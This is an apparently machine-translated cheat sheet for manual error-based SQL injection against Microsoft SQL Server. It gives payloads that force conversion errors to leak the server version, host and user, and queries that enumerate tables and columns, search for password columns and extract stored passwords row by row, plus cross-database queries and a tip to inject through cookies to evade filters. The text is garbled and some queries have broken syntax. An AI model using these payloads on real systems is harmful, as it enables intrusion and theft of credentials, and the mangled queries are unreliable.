Summary of manual SQL Server injection (Error Mode)

 
 
-- Summary of the explicit error mode. An error is reported using type conversion.
-- 1 = convert (int, (@ version ))
-- 1 = convert (int, (select host_name ()))
-- And 1 = convert (int, (user ))
 
-- Number of records with a table name. Replace (field name ,'','')
Select replace (str (count (*) + 'n', '','') from sysobjects where xtype = 'U'
-- The name of the table is burst one by one. www.2cto.com needs to be changed to "top 0", and "top 0" indicates the first data content.
Select top 1 name from sysobjects where xtype = 'U' and id not in (select top 0 id from sysobjects where xtype = 'U ')
 
-- Use Fuzzy Field keywords to find the table name. The value must be "top 0", and "top 0" indicates the first table name.
Select top 1 name from sysobjects where xtype = 'U' and id not in (select top 0 id from syscolumns where id in (select id from sysobjects where xtype = 'U ') and name like '% pass %' order by id asc)
 
 
-- The corresponding fields of the burst table must be changed to the table name "username" and "top 0". "top 0" indicates the first data content.
Select str (count (*) + 'n' from syscolumns where id = (select id from sysobjects where xtype = 'U' and name = 'username ')
Select top 1 name from syscolumns where id = (select id from sysobjects where xtype = 'U' and name = 'username ') and name not in (select top 0 name from syscolumns where id = (select id from sysobjects where xtype = 'U' and name = 'username '))
 
 
-- Explosion corresponding table, corresponding field database content.
-- Number of explosive data entries
Select str (count (*) + 'n' from username
-- Enter the content of the corresponding field. Replace password, username, id, and "top 0" and "top 0" to indicate the first data content.
Select top 1 password from username where id not in (select top 0 id from username)
 
 
-- Cross-Database
Select top 1 name from ss. dbo. sysobjects where xtype = 'U' and id not in (select top 0 id from ss. dbo. sysobjects where xtype = 'U') The principle is so simple and flexible during the test. For asp + SQL server,
 
We often encounter anti-injection attacks. Sometimes we don't forget to inject cookies. The results are good.
 
From